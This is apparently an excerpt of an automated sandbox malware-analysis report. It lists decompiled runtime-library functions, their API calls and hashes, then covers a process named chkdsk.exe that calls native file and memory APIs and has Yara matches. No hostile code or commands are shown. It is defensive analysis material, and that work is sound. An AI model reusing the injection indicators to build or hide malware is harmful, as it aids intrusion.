Instruction Fuzzy Hash: 85514871600745ABEF11DB69DC85FA673ACAFD8360F114229FD08DB2C1EB61ED8187A0

Uniqueness

Uniqueness Score: -1.00%

Function 00F291C6 Relevance: 6.1, APIs: 4, Instructions: 97
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00F291C6(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				intOrPtr _v12;
				signed int _v20;
				signed int _t35;
				int _t38;
				signed int _t41;
				int _t42;
				intOrPtr* _t44;
				int _t47;
				short* _t49;
				intOrPtr _t50;
				intOrPtr _t54;
				int _t55;
				signed int _t59;
				char* _t62;

				_t62 = _a8;
				if(_t62 == 0) {
					L5:
					return 0;
				}
				_t50 = _a12;
				if(_t50 == 0) {
					goto L5;
				}
				if( *_t62 != 0) {
					E00F24BFC( &_v20, _a16);
					_t35 = _v20;
					__eflags =  *(_t35 + 0xa8);
					if( *(_t35 + 0xa8) != 0) {
						_t38 = E00F2917B( *_t62 & 0x000000ff,  &_v20);
						__eflags = _t38;
						if(_t38 == 0) {
							__eflags = _a4;
							_t41 = _v20;
							_t59 = 1;
							_t28 = _t41 + 4; // 0x840ffff8
							_t42 = MultiByteToWideChar( *_t28, 9, _t62, 1, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t42;
							if(_t42 != 0) {
								L21:
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t31 = _t54 + 0x70;
									 *_t31 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t31;
								}
								return _t59;
							}
							L20:
							_t44 = E00F21CC3();
							_t59 = _t59 | 0xffffffff;
							__eflags = _t59;
							 *_t44 = 0x2a;
							goto L21;
						}
						_t59 = _v20;
						__eflags =  *(_t59 + 0x74) - 1;
						if( *(_t59 + 0x74) <= 1) {
							L15:
							_t20 = _t59 + 0x74; // 0xe1c11fe1
							__eflags = _t50 -  *_t20;
							L16:
							if(__eflags < 0) {
								goto L20;
							}
							__eflags = _t62[1];
							if(_t62[1] == 0) {
								goto L20;
							}
							L18:
							_t22 = _t59 + 0x74; // 0xe1c11fe1
							_t59 =  *_t22;
							goto L21;
						}
						_t12 = _t59 + 0x74; // 0xe1c11fe1
						__eflags = _t50 -  *_t12;
						if(__eflags < 0) {
							goto L16;
						}
						__eflags = _a4;
						_t17 = _t59 + 0x74; // 0xe1c11fe1
						_t18 = _t59 + 4; // 0x840ffff8
						_t47 = MultiByteToWideChar( *_t18, 9, _t62,  *_t17, _a4, 0 | _a4 != 0x00000000);
						_t59 = _v20;
						__eflags = _t47;
						if(_t47 != 0) {
							goto L18;
						}
						goto L15;
					}
					_t55 = _a4;
					__eflags = _t55;
					if(_t55 != 0) {
						 *_t55 =  *_t62 & 0x000000ff;
					}
					_t59 = 1;
					goto L21;
				}
				_t49 = _a4;
				if(_t49 != 0) {
					 *_t49 = 0;
				}
				goto L5;
			}

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00F291FC
__isleadbyte_l.LIBCMT ref: 00F2922A
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,E1C11FE1,00BFBBEF,00000000), ref: 00F29258
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,00000001,00BFBBEF,00000000), ref: 00F2928E

Memory Dump Source

Source File: 00000006.00000002.1052302354.0000000000F21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000006.00000002.1052293820.0000000000F20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1052319704.0000000000F2E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1052334096.0000000000F33000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1052343640.0000000000F37000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f20000_bmexo.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: e3c5ecbfb7f4402f8a5ceff8ac18de2e9668d6af25a222035659cdbc9637dd29
Instruction ID: 34b7bf88b492c4c59b988d285d04bcdaf9f50fc81949221ba18132c730b57abb
Opcode Fuzzy Hash: e3c5ecbfb7f4402f8a5ceff8ac18de2e9668d6af25a222035659cdbc9637dd29
Instruction Fuzzy Hash: C131E431A0826AFFDB218F75EC44BAA7BA5FF41320F154128E8648B1E0D7B1D851EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F2A94D Relevance: 6.0, APIs: 4, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00F2A94D(void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E00F2AE9E(__eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E00F2A9D3(_a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E00F2B119(__esi, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E00F2B058(__esi, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

APIs

__cftof_l.LIBCMT ref: 00F2A971

Part of subcall function 00F2B058: __fltout2.LIBCMT ref: 00F2B081

__cftog_l.LIBCMT ref: 00F2A997
__cftoe_l.LIBCMT ref: 00F2A9C9

Memory Dump Source

Source File: 00000006.00000002.1052302354.0000000000F21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000006.00000002.1052293820.0000000000F20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1052319704.0000000000F2E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1052334096.0000000000F33000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1052343640.0000000000F37000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f20000_bmexo.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 0f974109ce9aa9442daa4af383d644670cdb3cd038edc5ee5ffd28896f359a78
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: 5F014B7244025EFBCF125E85ED518EE3F27BB18354B5A8515FE2958031D336C9B1BB82

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: chkdsk.exePID: 792, Parent PID: 1860COMMON

Execution Graph

Execution Coverage:	2.3%
Dynamic/Decrypted Code Coverage:	1.7%
Signature Coverage:	0%
Total number of Nodes:	706
Total number of Limit Nodes:	92

Executed Functions

Function 000AA30A Relevance: 1.5, APIs: 1, Instructions: 42
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateFile.NTDLL(00000060,00000005,00000000,000A5807,00000005,FFFFFFFF,?,?,FFFFFFFF,00000005,000A5807,00000000,00000005,00000060,00000000,00000000), ref: 000AA35D

Memory Dump Source

Source File: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_90000_chkdsk.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 526d8af1cc16e6cc8e77e747ce593d3ecd62deabcd067f35c37ebd3221ce3384
Instruction ID: 5b098419a38f314ec1b3447c7b198369272d7c06b0bd10c79b9dedcdc3687fac
Opcode Fuzzy Hash: 526d8af1cc16e6cc8e77e747ce593d3ecd62deabcd067f35c37ebd3221ce3384
Instruction Fuzzy Hash: 1F01B2B6201108AFDB48CF89DD84EDB37A9EF8C754F118209BA0D97245C630E851CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 000AA310 Relevance: 1.5, APIs: 1, Instructions: 40
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateFile.NTDLL(00000060,00000005,00000000,000A5807,00000005,FFFFFFFF,?,?,FFFFFFFF,00000005,000A5807,00000000,00000005,00000060,00000000,00000000), ref: 000AA35D

Memory Dump Source

Source File: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_90000_chkdsk.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 48d3632995a7b26b824f235392bcc6b0a4ea212460d230c7ade1e6732e9d5a4a
Instruction ID: 6ddbb91c26d3c13b7dfacc4c5120fd77cd6c108b4e6f7e2558dfd52536995af9
Opcode Fuzzy Hash: 48d3632995a7b26b824f235392bcc6b0a4ea212460d230c7ade1e6732e9d5a4a
Instruction Fuzzy Hash: E5F06DB6215208AFCB48DF89DC85EEB77ADAF8C754F118258BA0997241D630F851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 000AA43A Relevance: 1.5, APIs: 1, Instructions: 40
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtClose.NTDLL(000A59A0,00000206,?,000A59A0,00000005,FFFFFFFF), ref: 000AA465

Memory Dump Source

Source File: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_90000_chkdsk.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 96a0fe0b6fb14caa950e60e142c5327bed1a3eda9c268077f3c50300f493a8ba
Instruction ID: e026732d26973c8e848944f83031661203235c941d1e2512f859bb05c18e5fe3
Opcode Fuzzy Hash: 96a0fe0b6fb14caa950e60e142c5327bed1a3eda9c268077f3c50300f493a8ba
Instruction Fuzzy Hash: E6F0F0762002046FCB14EBE8DC88DE77B98EF85720F1082A5FA5C5B203C630E604C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 000AA3C0 Relevance: 1.5, APIs: 1, Instructions: 36filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(000A59C2,5D9515B3,FFFFFFFF,000A5681,00000206,?,000A59C2,00000206,000A5681,FFFFFFFF,5D9515B3,000A59C2,00000206,00000000), ref: 000AA405

Memory Dump Source

Source File: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_90000_chkdsk.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: a61962a776c40c0761ec9b5d264e231ef2a343af67136adf04206c6c4bc3357e
Instruction ID: 2e7aa00841df56ee78ae12b2aa4615553d3f73f594cdfbd13956bb1f83754da3
Opcode Fuzzy Hash: a61962a776c40c0761ec9b5d264e231ef2a343af67136adf04206c6c4bc3357e
Instruction Fuzzy Hash: 00F0B7B2200208AFCB18DF99DC85EEB77ADEF8C754F118258BE0D97241D630E811CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 000AA4EA Relevance: 1.5, APIs: 1, Instructions: 33memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,00092D11,00002000,00003000,00000004), ref: 000AA529

Memory Dump Source

Source File: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_90000_chkdsk.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 8ea367853878e2a12d50fe2c5dd6769ea30187154150b65441a91f214ad7f4df
Instruction ID: 941b64f263e922f64db3fb1f1a4098279cade5e1e4eac6e0e51a1d006f7bcebb
Opcode Fuzzy Hash: 8ea367853878e2a12d50fe2c5dd6769ea30187154150b65441a91f214ad7f4df
Instruction Fuzzy Hash: 37F08CB2610119AFDB14DF98DC81EEB7BA8EF8D344F118118FE0DA7242C630E811CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 000AA4F0 Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,00092D11,00002000,00003000,00000004), ref: 000AA529

Memory Dump Source

Source File: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_90000_chkdsk.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 33bb83296b48386454dbb765a9fa584987a824901d4fa82aee9f69387c62dbb1
Instruction ID: ab9f5d10be601f42032e75e32301439c3cc46a9d6e3b764bbff35ce10e7a43dc
Opcode Fuzzy Hash: 33bb83296b48386454dbb765a9fa584987a824901d4fa82aee9f69387c62dbb1
Instruction Fuzzy Hash: 43F0F2B2210208ABDB18DF89DC81EAB77ADAF88654F118118BA0897241C630E810CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 000AA440 Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(000A59A0,00000206,?,000A59A0,00000005,FFFFFFFF), ref: 000AA465

Memory Dump Source

Source File: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_90000_chkdsk.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 881ea047b92b26aa447024a6cbf2ec0bd8a5bbf6b70a504f16765888542bc5d5
Instruction ID: 4a555a709dca0368a8842ae22a5ce294f6f757af01c04b687b1686257272d3f3
Opcode Fuzzy Hash: 881ea047b92b26aa447024a6cbf2ec0bd8a5bbf6b70a504f16765888542bc5d5
Instruction Fuzzy Hash: D7D01772200218ABD624EBD8DC89ED77BACDF49A60F118065BA485B282C630FA00C6E1

Uniqueness

Uniqueness Score: -1.00%

Function 023900C4 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 023900CF

Memory Dump Source

Source File: 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp, Offset: 02370000, based on PE: true

Associated: 00000008.00000002.1173478360.0000000002370000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173596901.0000000002460000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173605158.0000000002470000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173612960.0000000002474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173630096.0000000002477000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173640722.0000000002480000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173687030.00000000024E0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2370000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4bff211391be707d7e89478abb6bff82e3a2567f710e9bf85143fd517881f32a
Instruction ID: e6c77262f5ba2182d122b5874ee39bb292c5f7eee28c199429390ea98cabeb31
Opcode Fuzzy Hash: 4bff211391be707d7e89478abb6bff82e3a2567f710e9bf85143fd517881f32a
Instruction Fuzzy Hash: 79B01272100940C7E309D724DD06F4B7210FFC0F01F008A3EA00B81851DA38A93CC846

Uniqueness

Uniqueness Score: -1.00%

Function 023907AC Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 023907B7

Memory Dump Source

Source File: 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp, Offset: 02370000, based on PE: true

Associated: 00000008.00000002.1173478360.0000000002370000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173596901.0000000002460000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173605158.0000000002470000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173612960.0000000002474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173630096.0000000002477000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173640722.0000000002480000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173687030.00000000024E0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2370000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction ID: cdb92b4df541c6703467cf01e2fb590a315ac15b2f911c24ec3250dccee83ae6
Opcode Fuzzy Hash: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction Fuzzy Hash: 64B01272200540C7E3099724D906B4B7310FB80F00F008D3AE04781892DB78992CD487

Uniqueness

Uniqueness Score: -1.00%

Function 0238FAB8 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0238FAC3

Memory Dump Source

Source File: 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp, Offset: 02370000, based on PE: true

Associated: 00000008.00000002.1173478360.0000000002370000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173596901.0000000002460000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173605158.0000000002470000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173612960.0000000002474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173630096.0000000002477000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173640722.0000000002480000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173687030.00000000024E0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2370000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8f0c591c5e21216b00dee0cfdb8398dd80d2c6f9bc4c445cb98f30dfaa3fa1de
Instruction ID: c22cab920426f99211259bec297b66dc94c7f77789dfa39603ac798b5fdced38
Opcode Fuzzy Hash: 8f0c591c5e21216b00dee0cfdb8398dd80d2c6f9bc4c445cb98f30dfaa3fa1de
Instruction Fuzzy Hash: 66B01272100544C7E349B714D906B8B7210FF80F00F00893AA00782861DB389A2CE996

Uniqueness

Uniqueness Score: -1.00%

Function 0238FAE8 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0238FAF3

Memory Dump Source

Source File: 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp, Offset: 02370000, based on PE: true

Associated: 00000008.00000002.1173478360.0000000002370000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173596901.0000000002460000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173605158.0000000002470000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173612960.0000000002474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173630096.0000000002477000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173640722.0000000002480000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173687030.00000000024E0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2370000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction ID: bb22edd625d441e86b4201bf2007cb1784deb073e32f09f3a807e6c8f80ed535
Opcode Fuzzy Hash: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction Fuzzy Hash: ACB01272104544C7F3099714ED06B8B7210FB80F00F00893AA007828A1DB39992CE456

Uniqueness

Uniqueness Score: -1.00%

Function 0238FAD0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0238FADB

Memory Dump Source

Source File: 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp, Offset: 02370000, based on PE: true

Associated: 00000008.00000002.1173478360.0000000002370000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173596901.0000000002460000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173605158.0000000002470000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173612960.0000000002474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173630096.0000000002477000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173640722.0000000002480000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173687030.00000000024E0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2370000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a3c9a84db5a1b27ba292bbe6ac7156695ca75f7b31983341e9d88d14b699633e
Instruction ID: b885d126f35a04098635745a666b93c7a8e67e4acbf17db3f6051f78ecae7b76
Opcode Fuzzy Hash: a3c9a84db5a1b27ba292bbe6ac7156695ca75f7b31983341e9d88d14b699633e
Instruction Fuzzy Hash: 9AB01273104944C7E349A714DD06B8B7210FBC0F01F00893AA00786851DB389A2CE986

Uniqueness

Uniqueness Score: -1.00%

Function 0238FB68 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0238FB73

Memory Dump Source

Source File: 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp, Offset: 02370000, based on PE: true

Associated: 00000008.00000002.1173478360.0000000002370000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173596901.0000000002460000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173605158.0000000002470000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173612960.0000000002474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173630096.0000000002477000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173640722.0000000002480000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173687030.00000000024E0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2370000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction ID: fe3894545e6d7ff35e2d014bd1b41c27fc981d7cba2425ddd0908e3dd582fca9
Opcode Fuzzy Hash: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction Fuzzy Hash: 17B01272100544C7E3099714D906B8B7210FB80F00F008E3AA04782991DB78992DE446

Uniqueness

Uniqueness Score: -1.00%

Function 0238FB50 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0238FB5B

Memory Dump Source

Source File: 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp, Offset: 02370000, based on PE: true

Associated: 00000008.00000002.1173478360.0000000002370000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173596901.0000000002460000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173605158.0000000002470000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173612960.0000000002474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173630096.0000000002477000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173640722.0000000002480000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173687030.00000000024E0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2370000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 445a353fbf322f74478a6659fdc04cf8623378f6e443218e16a25411f5af12d5
Instruction ID: 24e1bc86294fbd7a1654c33a96a754a721993c998c3fcb69f8e89524a52cb594
Opcode Fuzzy Hash: 445a353fbf322f74478a6659fdc04cf8623378f6e443218e16a25411f5af12d5
Instruction Fuzzy Hash: 54B01272201544C7E3099B14D906F8B7210FB90F00F00893EE00782851DB38D92CE447

Uniqueness

Uniqueness Score: -1.00%

Function 0238FBB8 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0238FBC3

Memory Dump Source

Source File: 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp, Offset: 02370000, based on PE: true

Associated: 00000008.00000002.1173478360.0000000002370000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173596901.0000000002460000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173605158.0000000002470000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173612960.0000000002474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173630096.0000000002477000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173640722.0000000002480000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173687030.00000000024E0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2370000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction ID: 98b7ab4c3374ce945d87304c272764997da5ea40185bb6170513ade09291bf69
Opcode Fuzzy Hash: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction Fuzzy Hash: 97B012721005C4C7E30D9714D906B8F7210FB80F00F00893AA40782861DB789A2CE45A

Uniqueness

Uniqueness Score: -1.00%

Function 0238F900 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0238F90E

Memory Dump Source

Source File: 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp, Offset: 02370000, based on PE: true

Associated: 00000008.00000002.1173478360.0000000002370000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173596901.0000000002460000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173605158.0000000002470000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173612960.0000000002474000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173630096.0000000002477000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173640722.0000000002480000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1173687030.00000000024E0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2370000_chkdsk.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8dbcbf5a4d7b7f1c08d6b628364f414bd548082eea0b37b51084cc01ff771fa2
Instruction ID: 05ac91611fc184a3f88202f4b9a2f722369f22817df951cee1fa85cf63676e78
Opcode Fuzzy Hash: 8dbcbf5a4d7b7f1c08d6b628364f414bd548082eea0b37b51084cc01ff771fa2
Instruction Fuzzy Hash: A2B01272605540C7F30ADB04D915B467251FBC0F00F408934E50746590D77D9E38D587

Uniqueness

Uniqueness Score: -1.00%

Function 0238F9F0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

